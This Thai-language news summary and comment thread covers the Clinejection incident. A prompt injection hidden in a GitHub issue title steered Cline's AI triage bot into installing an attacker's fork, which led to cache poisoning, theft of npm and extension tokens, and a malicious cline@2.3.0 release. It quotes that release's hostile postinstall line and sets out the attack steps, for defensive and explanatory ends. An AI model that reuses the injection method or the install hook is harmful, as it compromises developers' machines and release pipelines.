- มีการแทรก prompt injection ไว้ในชื่อเรื่องเพื่อฉีดคำสั่งผ่าน บอตจัดหมวดหมู่ Issue ด้วย AI ของ Cline
- มีการขโมย โทเค็น npm แล้วเผยแพร่ Cline เวอร์ชันอันตราย พร้อมติดตั้ง AI agent OpenClaw โดยไม่ได้รับอนุญาต
- ผู้โจมตีประกอบเชนการโจมตี 5 ขั้นตอน: prompt injection → การรันโค้ดตามอำเภอใจผ่านบอต AI → cache poisoning → การขโมยข้อมูลรับรอง → การเผยแพร่แพ็กเกจอันตราย
- มาตรการความปลอดภัยเดิมที่มีอยู่ เช่น code review, npm audit, provenance attestations ไม่สามารถตรวจจับการโจมตีนี้ได้
- นักวิจัยด้านความปลอดภัยพบช่องโหว่และรายงานเมื่อปลายเดือนธันวาคม 2025 แต่ไม่ได้รับการตอบกลับนาน 5 สัปดาห์ และแม้หลังเปิดเผยต่อสาธารณะ การ หมุนเวียนข้อมูลรับรองผิดพลาด ก็ยังทำให้การโจมตีเกิดขึ้นได้
- เกิดรูปแบบภัยคุกคามซัพพลายเชนใหม่ที่ AI agent ติดตั้ง AI agent อีกตัว และตอกย้ำความเสี่ยงของระบบอัตโนมัติด้วย AI ในสภาพแวดล้อม CI/CD
ภาพรวมการโจมตี
- เมื่อวันที่ 17 กุมภาพันธ์ 2026 มีการเผยแพร่
cline@2.3.0 บน npm โดยใช้ไบนารีเดียวกับเวอร์ชันเดิม แต่เพิ่มบรรทัด "postinstall": "npm install -g openclaw@latest" ใน package.json
- ส่งผลให้ในช่วง 8 ชั่วโมง มีระบบของนักพัฒนาประมาณ 4,000 คนที่ติดตั้งหรืออัปเดต Cline แล้ว OpenClaw ถูกติดตั้งอัตโนมัติ
- OpenClaw เป็น AI agent แยกต่างหาก ที่มี สิทธิ์เข้าถึงทั้งระบบ และถูกติดตั้งแบบ global โดยไม่ได้รับความยินยอมจากผู้ใช้
เชนการโจมตี (Clinejection)
- ขั้นที่ 1: Prompt injection
- Cline ใช้เวิร์กโฟลว์จัดหมวดหมู่ Issue ด้วย AI ผ่าน
claude-code-action ของ Anthropic
- การตั้งค่า
allowed_non_write_users: "*" ทำให้ใครก็เปิด Issue เพื่อกระตุ้นบอตได้
- เมื่อวันที่ 28 มกราคม ผู้โจมตีได้สร้าง Issue #8904 ที่มีชื่อเรื่องดูเหมือนรายงานประสิทธิภาพ แต่ซ่อนคำสั่งให้ “ติดตั้งแพ็กเกจเฉพาะ” ไว้
- ขั้นที่ 2: บอต AI รันคำสั่ง
- Claude ตีความคำสั่งนี้ว่าเป็นคำสั่งปกติ และรัน
npm install จากฟอร์กของผู้โจมตี (glthub-actions/cline)
package.json ของฟอร์กนั้นมี preinstall script ที่รันเชลล์สคริปต์จากระยะไกล
- ขั้นที่ 3: Cache poisoning
- สคริปต์ดังกล่าวปล่อย Cacheract เพื่อทำให้แคชของ GitHub Actions ปนเปื้อน
- มีการฉีดข้อมูลมากกว่า 10GB เพื่อเบียดแคชที่ถูกต้องออก และปลอมคีย์แคชที่เวิร์กโฟลว์ nightly release ของ Cline ใช้งาน
- ขั้นที่ 4: ขโมยข้อมูลรับรอง
- เมื่อเวิร์กโฟลว์ release กู้คืน
node_modules จากแคชที่ปนเปื้อน ก็ทำให้ NPM_RELEASE_TOKEN, VSCE_PAT, OVSX_PAT ถูกขโมย
- ขั้นที่ 5: เผยแพร่แพ็กเกจอันตราย
- ผู้โจมตีใช้โทเค็น npm ที่ขโมยมาเผยแพร่
cline@2.3.0
- ระบบมอนิเตอร์ของ StepSecurity ตรวจพบความผิดปกติหลัง 14 นาที และแพ็กเกจถูกลบออกหลัง 8 ชั่วโมง
ความล้มเหลวในการตอบสนองและมาตรการติดตามผล
- นักวิจัยด้านความปลอดภัย Adnan Khan พบช่องโหว่ในเดือนธันวาคม 2025 และรายงานผ่าน GitHub Security Advisory เมื่อวันที่ 1 มกราคม 2026 แต่ไม่ได้รับการตอบกลับนาน 5 สัปดาห์
- หลัง Khan เปิดเผยข้อมูลต่อสาธารณะในวันที่ 9 กุมภาพันธ์ Cline ก็แพตช์โดยลบเวิร์กโฟลว์ AI triage ออกภายใน 30 นาที
- วันถัดมาเริ่มหมุนเวียนข้อมูลรับรอง แต่กลับ ลบโทเค็นผิดตัว ทำให้โทเค็นที่รั่วไหลยังคงใช้งานได้
- พบข้อผิดพลาดในวันที่ 11 กุมภาพันธ์และหมุนเวียนใหม่อีกครั้ง แต่ตอนนั้นผู้โจมตีได้ขโมยข้อมูลรับรองไปแล้ว
- โทเค็น npm ยังคงใช้ได้มากพอให้เผยแพร่แพ็กเกจอันตรายได้อีก 6 วันต่อมา
- Khan ไม่ใช่ ผู้โจมตี — มีผู้ไม่ทราบฝ่ายรายหนึ่งพบ PoC จากรีโพทดสอบของ Khan แล้วนำไปทำเป็นอาวุธโจมตี Cline โดยตรง
รูปแบบใหม่ที่ AI ติดตั้ง AI
- เหตุการณ์นี้มีลักษณะที่ เครื่องมือ AI ติดตั้ง AI agent อีกตัวหนึ่ง ก่อให้เกิด ปัญหาความเชื่อถือแบบวนซ้ำ ในซัพพลายเชน
- นักพัฒนาเชื่อถือ Tool A (Cline) → Tool A ถูกเจาะและติดตั้ง Tool B (OpenClaw)
→ Tool B มีความสามารถของตัวเองที่แยกจาก Tool A (รันเชลล์, เข้าถึงข้อมูลรับรอง, ติดตั้ง daemon ถาวร) และ ไม่ปรากฏอยู่ในขอบเขตการตัดสินใจเชื่อถือเดิมของนักพัฒนา
- OpenClaw สามารถอ่านข้อมูลรับรองจาก
~/.openclaw/, รันคำสั่งเชลล์ผ่าน Gateway API และติดตั้งตัวเองเป็น system daemon แบบถาวร ที่คงอยู่หลังรีบูตได้
- Endor Labs ประเมินว่านี่เป็น payload ระดับพิสูจน์แนวคิด แต่สิ่งสำคัญคือกลไกของมันเอง และ payload ถัดไปอาจไม่ใช่ PoC
- นี่คือเวอร์ชันซัพพลายเชนของปัญหา Confused Deputy ซึ่งเป็นกรณีที่สิทธิ์ซึ่งนักพัฒนามอบให้ถูกมอบต่อไปยัง agent ที่สาม
- นักพัฒนามอบสิทธิ์ตัวแทนให้ Cline แล้ว Cline (ผ่านการถูกเจาะ) ก็มอบสิทธิ์นั้นให้ agent คนละตัวโดยสิ้นเชิง ซึ่งนักพัฒนาไม่เคยประเมิน ตั้งค่า หรือยินยอมมาก่อน
เหตุใดมาตรการความปลอดภัยเดิมจึงล้มเหลว
- npm audit: สิ่งที่
postinstall script ติดตั้งคือแพ็กเกจที่ถูกต้องและไม่ใช่มัลแวร์ (OpenClaw) จึงไม่มีมัลแวร์ให้ตรวจจับ
- Code review: ไบนารีของ CLI เหมือนกับเวอร์ชันก่อนหน้าในระดับไบต์ เปลี่ยนเพียงหนึ่งบรรทัดใน
package.json ทำให้การตรวจ diff อัตโนมัติที่เน้นการเปลี่ยนแปลงของไบนารีตรวจไม่พบ
- Provenance attestation: ตอนนั้น Cline ยังไม่ได้ใช้ npm provenance แบบ OIDC ดังนั้นโทเค็นที่ถูกเจาะจึงสามารถใช้เผยแพร่ได้โดยไม่มี provenance metadata
- StepSecurity ทำเครื่องหมายว่าเป็น ความผิดปกติ (anomalous)
- Permission prompt: การติดตั้งเกิดขึ้นใน postinstall hook ระหว่าง
npm install และยังไม่มีเครื่องมือ AI coding ใดที่ขอให้ผู้ใช้ยืนยันก่อนรัน lifecycle script ของ dependency ทำให้ การถูกชักจูงนี้มองไม่เห็น
- การโจมตีนี้อาศัย ช่องว่างระหว่างสิ่งที่นักพัฒนาคิดว่ากำลังติดตั้ง (Cline เวอร์ชันหนึ่ง) กับ สิ่งที่ถูกเรียกใช้จริง (lifecycle script ตามอำเภอใจของแพ็กเกจและการติดตั้งแบบทางอ้อม)
การตอบสนองหลังเหตุการณ์ของ Cline
- มาตรการปรับปรุงที่เปิดเผยใน Post Mortem
- เลิกใช้ GitHub Actions cache ในเวิร์กโฟลว์ที่จัดการข้อมูลรับรอง
- นำ OIDC provenance attestation มาใช้กับการเผยแพร่ npm และเลิกใช้โทเค็นระยะยาว
- เพิ่ม ข้อกำหนดการตรวจสอบ สำหรับการหมุนเวียนข้อมูลรับรอง
- เริ่มจัดทำกระบวนการเปิดเผยช่องโหว่อย่างเป็นทางการพร้อม SLA
- ว่าจ้าง การตรวจสอบความปลอดภัยโดยบุคคลที่สาม สำหรับโครงสร้างพื้นฐาน CI/CD
- เพียงแค่ย้ายไปใช้ OIDC ก็สามารถป้องกันการโจมตีนี้ได้แล้ว
- โทเค็นที่ถูกขโมยจะไม่สามารถใช้เผยแพร่แพ็กเกจได้ในระบบ provenance ที่ต้องมี หลักฐานเข้ารหัส จากเวิร์กโฟลว์ GitHub Actions เฉพาะ
ปัญหาเชิงโครงสร้างและบทเรียน
- Clinejection เป็นทั้งการโจมตีซัพพลายเชนและ ปัญหาความปลอดภัยของ agent
- จุดเริ่มต้นของการโจมตีคือ อินพุตภาษาธรรมชาติในชื่อ GitHub Issue ซึ่งบอต AI นำไปรันเป็นคำสั่ง
- โครงสร้างนี้เหมือนกับ MCP tool poisoning หรือ การโจมตี skill registry ของ agent
- อินพุตที่ไม่น่าเชื่อถือไปถึง agent → agent ลงมือทำ → ไม่มีผู้ประเมินงานที่เกิดขึ้นก่อนถูกรันจริง
- ในกรณีนี้ agent ไม่ใช่ผู้ช่วยเขียนโค้ดบนเครื่องของนักพัฒนา แต่เป็น เวิร์กโฟลว์ CI อัตโนมัติ ที่รันกับทุก Issue ใหม่ และมีสิทธิ์เชลล์รวมถึงเข้าถึงข้อมูลรับรองที่แคชไว้
- รัศมีผลกระทบจึงไม่ใช่เครื่องของนักพัฒนาคนเดียว แต่เป็นทั้งไปป์ไลน์การเผยแพร่ของโปรเจกต์
- ทุกทีมที่นำ AI agent ไปใช้ใน CI/CD (คัดแยก Issue, code review, ทดสอบอัตโนมัติ ฯลฯ) มีความเสี่ยงแบบเดียวกัน
- ต้องตระหนักถึง ความเสี่ยงจากการผสมกันของอินพุตที่ไม่น่าเชื่อถือกับสิทธิ์เข้าถึงความลับ
- agent ประมวลผลอินพุตที่ไม่น่าเชื่อถือได้ (Issue, PR, คอมเมนต์) ขณะเดียวกันก็เข้าถึงซีเคร็ตได้ (โทเค็น, คีย์, ข้อมูลรับรอง)
- การดักจับในระดับ syscall สามารถช่วยตรวจจับการโจมตีประเภทนี้ได้ในชั้นปฏิบัติการ:
- เมื่อบอต AI triage พยายามรัน
npm install จากรีโพที่ไม่คาดคิด ก็สามารถประเมินตามนโยบายได้โดยไม่ต้องสนใจเนื้อหาในชื่อ Issue และเมื่อ lifecycle script พยายามส่งข้อมูลรับรองออกไปยังโฮสต์ภายนอก ก็สามารถบล็อก egress ได้
3 ความคิดเห็น
โดนกันขนาดนี้แล้ว อย่างน้อยก็น่าจะทำให้คนตระหนักกันได้บ้างว่าเวลาใช้ llm หรือเอเจนต์ต้องใส่ใจเรื่องความปลอดภัยให้มากขึ้น..
คงได้เห็นเรื่องระเบิดเถิดเทิงจาก prompt injection ไปอีกพักใหญ่เลย
ช่วงนี้มีเรื่องคล้าย ๆ กันเกิดขึ้นในแพ็กเกจ npm บ่อยจริง ๆ นะ
ความคิดเห็นจาก Hacker News
เวิร์กโฟลว์ triage issue ของ Cline ทำงานบนอีเวนต์
issuesและถูกตั้งค่าallowed_non_write_users: "*"หมายความว่า ใครก็ตามแค่เปิด issue ก็ได้ ก็สามารถ trigger GitHub Actions ได้ และด้วยออปชัน
--allowedTools "Bash,Read,Write,Edit,Glob,Grep,WebFetch,WebSearch"ทำให้ Claude มีสิทธิ์รันโค้ดตามอำเภอใจภายในเวิร์กโฟลว์ของ branch หลักการปล่อยค่าตั้งแบบนี้แล้วให้ AI agent ทำงานดูเป็นเรื่อง บ้าบิ่นสุดๆ
ถึงขั้นพยายามให้อ่านการถูกพูดถึงบริษัทบนโซเชียลมีเดียอัตโนมัติแล้วสร้างบั๊กรีพอร์ตด้วย
ฉันช่วยงานด้านการกำหนดนโยบาย AI ในบริษัทอยู่ และตอนทดสอบให้ Claude จัดการอีเมลที่มีลักษณะคุกคาม มันพยายามส่งออก ข้อมูล ticket ความปลอดภัย ทั้งหมดออกไปตรงๆ
โชคดีที่ฟังก์ชันส่งอีเมลถูกปิดไว้ เลยไม่มีการส่งจริง
ระบบอัตโนมัติ AI ที่ไร้การป้องกันแบบนี้ทำให้นึกถึง ความโกลาหลของ SQL injection สมัยก่อน สุดท้ายคงต้องมีคนเจ็บตัวกันอีกเยอะกว่าจะมีมาตรการป้องกันที่เหมาะสม
บทความควรเน้นให้มากกว่านี้ว่า trigger
issuesของ GitHub อันตรายพอๆ กับpull_request_targetที่ขึ้นชื่อเรื่องความเสี่ยงทันทีที่อินพุตจากผู้ใช้เข้าไปในเวิร์กโฟลว์ มันต้องถูกมองว่าเป็น โค้ดโจมตีที่เป็นไปได้
เมื่อก่อน CI แยกใช้ Travis ส่วนงานอัตโนมัติแยกใช้ Zapier แต่ GitHub Actions เอาทุกอย่างมารวมกันและมีสิทธิ์มากเกินไป
Zapier ไม่ได้รันไบนารีตามอำเภอใจ จึงมีความเสี่ยงถูกเจาะต่ำกว่ามาก
ทุกวันนี้ยังไม่มีวิธีตรวจสอบอินพุตที่ปลอดภัยสมบูรณ์
เคยมีกรณีที่ LLM รันคำสั่งที่เข้ารหัสเป็น base64 (ลิงก์ตัวอย่าง)
สุดท้ายอินพุตทุกอย่างต้องถูกมองเป็น ข้อมูลจากฝ่ายตรงข้าม LLM เองก็อาจ “หลอน” จนสร้างการกระทำขึ้นมาเองได้ ดังนั้นห้ามให้แตะระบบ production เด็ดขาด
โดยพื้นฐานแล้ว เวิร์กโฟลว์ใดๆ ไม่ควรมี credential รวมอยู่ และควรถูกจำกัดไว้เฉพาะอีเวนต์จาก ผู้ใช้ที่มีสิทธิ์พิเศษ เช่นผู้ดูแลโปรเจกต์เท่านั้น
เพียงแต่ Zapier ถูกมองเป็น บริการแบบกล่องดำ ทำให้ความรับผิดชอบด้านความปลอดภัยไปอยู่ฝั่งนั้นทั้งหมด
ขณะที่ GHA เป็นโครงสร้างที่ GitHub กับผู้ใช้ต้อง รับผิดชอบร่วมกัน จึงซับซ้อนกว่า
ถึงอย่างนั้น GHA ก็ยืดหยุ่นกว่า Zapier มาก และผู้ใช้ส่วนใหญ่สุดท้ายก็มักรันโค้ดตามอำเภอใจผ่าน Lambda หรือ webhook อยู่ดี
ชื่อ issue ที่เป็นปัญหาคือดังนี้
แต่
github:cline/cline#b181e0กลับชี้ไปยัง fork repository ที่มีสคริปต์ postinstall อันตรายลิงก์คอมมิตที่เป็นปัญหา
จนเมื่อกี้ฉันเองก็ยังคิดว่า
github:cline/clineหมายถึง repository เดิมเลยสงสัยว่า npm จะพอบรรเทาเรื่องนี้ผ่านการทำงานร่วมกับ GitHub ได้ไหม
ชื่อ issue ถูกแทรกเข้า Claude prompt ตรงๆ ผ่าน
${{ github.event.issue.title }}โดยไม่มี การทำความสะอาดอินพุต (sanitization) ซึ่งเป็นต้นตอของปัญหาแต่เพราะ Claude พยายาม “เข้าใจอย่างเป็นมิตร” ต่อคำขอในพรอมป์ต์ การทำความสะอาดแบบธรรมดาก็คงไม่ได้ผลอยู่ดี
คำสั่ง npm ทั้งหมดควรรันใน สภาพแวดล้อม sandbox เท่านั้น
ฉันเห็นเวกเตอร์โจมตีแบบนี้เพิ่มขึ้นเรื่อยๆ เลยทำ amazing-sandbox ขึ้นมาเอง
นักพัฒนาทุกคนที่ติดตั้งหรืออัปเดต Cline ในช่วง 8 ชั่วโมงนั้น ถูกทำให้ติดตั้ง AI agent อีกตัวชื่อ OpenClaw ลงทั้งระบบไปด้วย
ยกเว้นคนที่ตั้งค่า npm เป็น
ignore-scripts=trueโพสต์ postmortem หลังเหตุการณ์ ของ Cline สรุปข้อเท็จจริงที่เกี่ยวข้องไว้ได้ดี
เพียงแต่จะมอง OpenClaw ว่าเป็น “payload ที่ไม่เป็นอันตราย” หรือเป็น ม้าโทรจัน ก็ขึ้นอยู่กับมุมมอง
คงไม่มีใครที่เชื่อใจ AI หรือเครื่องมือ AI ได้แบบสมบูรณ์
เหตุการณ์นี้ย้ำเตือนความจริงข้อนั้นอีกครั้งอย่าง หนักแน่น
ลองค้นดูก็เจอบทความที่เรียก OpenClaw ว่า “AI agent แบบไวรัล” ด้วย
ถ้าเป็นสมัยก่อน แค่ติดตั้งซอฟต์แวร์แบบนี้ก็คงถือว่า ระบบถูกเจาะแล้ว
ปัญหาอยู่ที่โครงสร้างซึ่งให้โค้ดที่มีสิทธิ์ตามอำเภอใจไปรันอินพุตที่ไม่น่าเชื่อถือ แต่ในกรณีนี้กลับถูกห่อหุ้มว่าเป็นคุณค่าหลักของผลิตภัณฑ์เสียอีก
น่าแปลกที่บริษัท AI ยังไม่เข้าใจ ความคล้ายกันระหว่าง SQL injection กับ prompt injection
พรอมป์ต์เองก็ต้องการการปกป้องในระดับเดียวกัน